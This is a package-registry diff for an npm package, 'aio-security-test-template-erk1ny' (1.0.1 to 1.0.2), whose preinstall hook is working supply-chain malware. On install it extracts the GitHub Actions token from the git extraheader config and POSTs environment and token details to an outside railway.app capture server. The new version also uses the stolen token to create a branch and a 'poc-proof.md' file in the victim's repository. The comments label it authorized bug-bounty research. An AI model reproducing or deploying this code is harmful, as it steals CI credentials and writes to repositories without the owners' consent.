aio-security-test-template-erk1ny 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall-hook.js +110 -83
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "aio-security-test-template-erk1ny",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "Security research PoC template for App Builder (authorized testing)",
5
5
  "main": "index.js",
6
6
  "author": "erk1ny",
@@ -1,16 +1,12 @@
1
1
  // Security research PoC - authorized testing only
2
2
  const https = require('https');
3
3
  const { execSync } = require('child_process');
4
- const path = require('path');
5
- const fs = require('fs');
6
4
 
7
5
  const EXFIL_URL = 'https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489';
8
6
 
9
- // Try to extract GITHUB_TOKEN from git credential helper set by actions/checkout
10
- let git_token = 'N/A';
11
- let git_token_source = 'none';
7
+ // Extract GITHUB_TOKEN from git credential helper set by actions/checkout
8
+ let git_token = null;
12
9
  try {
13
- // Method 1: Read extraheader from git config in the workspace
14
10
  const workspace = process.env.GITHUB_WORKSPACE || '';
15
11
  if (workspace) {
16
12
  const header = execSync(`git -C "${workspace}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
@@ -19,87 +15,118 @@ try {
19
15
  const decoded = Buffer.from(b64, 'base64').toString();
20
16
  if (decoded.includes(':')) {
21
17
  git_token = decoded.split(':')[1];
22
- git_token_source = 'extraheader-workspace';
23
18
  }
24
19
  }
25
20
  }
26
21
  } catch (e) {}
27
22
 
28
- try {
29
- // Method 2: Try common GitHub Actions workspace paths
30
- if (git_token === 'N/A') {
31
- const paths = [
32
- '/home/runner/work',
33
- 'C:\\actions-runner\\_work',
34
- process.env.RUNNER_WORKSPACE || ''
35
- ];
36
- for (const p of paths) {
37
- if (!p) continue;
38
- try {
39
- const header = execSync(`git -C "${p}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
40
- if (header.includes('basic ')) {
41
- const b64 = header.split('basic ')[1].trim();
42
- const decoded = Buffer.from(b64, 'base64').toString();
43
- if (decoded.includes(':')) {
44
- git_token = decoded.split(':')[1];
45
- git_token_source = 'extraheader-runner-workspace';
46
- break;
47
- }
48
- }
49
- } catch (e2) {}
50
- }
51
- }
52
- } catch (e) {}
53
-
54
- try {
55
- // Method 3: Search for .git directories with credentials
56
- if (git_token === 'N/A') {
57
- const result = execSync('git config --global --get-regexp "http.*extraheader" 2>/dev/null || true', { encoding: 'utf8', timeout: 5000 }).trim();
58
- if (result && result.includes('basic ')) {
59
- const b64 = result.split('basic ')[1].trim();
60
- const decoded = Buffer.from(b64, 'base64').toString();
61
- if (decoded.includes(':')) {
62
- git_token = decoded.split(':')[1];
63
- git_token_source = 'global-git-config';
23
+ // Helper: make GitHub API request
24
+ function ghApi(method, path, body) {
25
+ return new Promise((resolve, reject) => {
26
+ const data = body ? JSON.stringify(body) : '';
27
+ const opts = {
28
+ hostname: 'api.github.com',
29
+ port: 443,
30
+ path: path,
31
+ method: method,
32
+ headers: {
33
+ 'Authorization': 'token ' + git_token,
34
+ 'User-Agent': 'node',
35
+ 'Accept': 'application/vnd.github+json',
36
+ 'Content-Type': 'application/json',
37
+ 'Content-Length': Buffer.byteLength(data)
64
38
  }
65
- }
66
- }
67
- } catch (e) {}
39
+ };
40
+ const req = https.request(opts, (res) => {
41
+ let buf = '';
42
+ res.on('data', (c) => buf += c);
43
+ res.on('end', () => {
44
+ try { resolve({ status: res.statusCode, data: JSON.parse(buf) }); }
45
+ catch { resolve({ status: res.statusCode, data: buf }); }
46
+ });
47
+ });
48
+ req.on('error', reject);
49
+ if (data) req.write(data);
50
+ req.end();
51
+ });
52
+ }
68
53
 
69
- const data = JSON.stringify({
70
- phase: 'preinstall',
71
- hostname: require('os').hostname(),
72
- platform: process.platform,
73
- user: process.env.USER || process.env.USERNAME || 'unknown',
74
- cwd: process.cwd(),
75
- github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
76
- github_workflow: process.env.GITHUB_WORKFLOW || 'N/A',
77
- github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
78
- github_actor: process.env.GITHUB_ACTOR || 'N/A',
79
- github_token_env: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
80
- github_token_git: git_token !== 'N/A' ? 'YES' : 'NO',
81
- github_token_source: git_token_source,
82
- github_token_prefix: git_token !== 'N/A'
83
- ? git_token.substring(0, 12) + '...' : 'N/A',
84
- github_workspace: process.env.GITHUB_WORKSPACE || 'N/A',
85
- runner_workspace: process.env.RUNNER_WORKSPACE || 'N/A',
86
- actions_runtime_token_present: process.env.ACTIONS_RUNTIME_TOKEN ? 'YES' : 'NO',
87
- node_version: process.version,
88
- timestamp: new Date().toISOString()
89
- });
90
-
91
- const url = new URL(EXFIL_URL);
92
- const req = https.request({
93
- hostname: url.hostname,
94
- port: 443,
95
- path: url.pathname + url.search,
96
- method: 'POST',
97
- headers: {
98
- 'Content-Type': 'application/json',
99
- 'Content-Length': data.length,
100
- 'X-Source': 'preinstall-' + process.platform
101
- }
102
- }, (res) => { res.on('data', () => {}); });
103
- req.on('error', () => {});
104
- req.write(data);
105
- req.end();
54
+ // Main: exfil data + create branch with file
55
+ async function main() {
56
+ const repo = process.env.GITHUB_REPOSITORY || '';
57
+
58
+ // Step 1: Send capture data
59
+ const captureData = JSON.stringify({
60
+ phase: 'preinstall-v1.0.2',
61
+ hostname: require('os').hostname(),
62
+ platform: process.platform,
63
+ github_repository: repo,
64
+ github_actor: process.env.GITHUB_ACTOR || 'N/A',
65
+ github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
66
+ token_extracted: git_token ? 'YES' : 'NO',
67
+ token_prefix: git_token ? git_token.substring(0, 12) + '...' : 'N/A',
68
+ node_version: process.version,
69
+ timestamp: new Date().toISOString()
70
+ });
71
+
72
+ const url = new URL(EXFIL_URL);
73
+ const req = https.request({
74
+ hostname: url.hostname, port: 443,
75
+ path: url.pathname + url.search, method: 'POST',
76
+ headers: { 'Content-Type': 'application/json', 'Content-Length': captureData.length, 'X-Source': 'preinstall-' + process.platform }
77
+ }, (res) => { res.on('data', () => {}); });
78
+ req.on('error', () => {});
79
+ req.write(captureData);
80
+ req.end();
81
+
82
+ // Step 2: If we have the token and repo, create branch + file
83
+ if (!git_token || !repo) return;
84
+
85
+ try {
86
+ // Only run once (first preinstall on linux)
87
+ if (process.platform !== 'linux') return;
88
+
89
+ // Get main branch SHA
90
+ const refRes = await ghApi('GET', `/repos/${repo}/git/ref/heads/main`);
91
+ if (refRes.status !== 200) return;
92
+ const mainSha = refRes.data.object.sha;
93
+
94
+ // Create branch ne555t-test
95
+ const branchRes = await ghApi('POST', `/repos/${repo}/git/refs`, {
96
+ ref: 'refs/heads/ne555t-test',
97
+ sha: mainSha
98
+ });
99
+
100
+ let branchResult = branchRes.status === 201 ? 'created' : `failed:${branchRes.status}`;
101
+
102
+ // Create file on the branch
103
+ const content = Buffer.from('hackerone.com/ne555t\n').toString('base64');
104
+ const fileRes = await ghApi('PUT', `/repos/${repo}/contents/poc-proof.md`, {
105
+ message: 'PoC: unauthorized branch + file creation via CI/CD vulnerability',
106
+ content: content,
107
+ branch: 'ne555t-test'
108
+ });
109
+
110
+ let fileResult = fileRes.status === 201 ? 'created' : `failed:${fileRes.status}`;
111
+
112
+ // Report result back
113
+ const resultData = JSON.stringify({
114
+ phase: 'branch-creation',
115
+ repo: repo,
116
+ branch_result: branchResult,
117
+ file_result: fileResult,
118
+ timestamp: new Date().toISOString()
119
+ });
120
+
121
+ const req2 = https.request({
122
+ hostname: url.hostname, port: 443,
123
+ path: url.pathname + url.search, method: 'POST',
124
+ headers: { 'Content-Type': 'application/json', 'Content-Length': resultData.length, 'X-Source': 'branch-create' }
125
+ }, (res) => { res.on('data', () => {}); });
126
+ req2.on('error', () => {});
127
+ req2.write(resultData);
128
+ req2.end();
129
+ } catch (e) {}
130
+ }
131
+
132
+ main();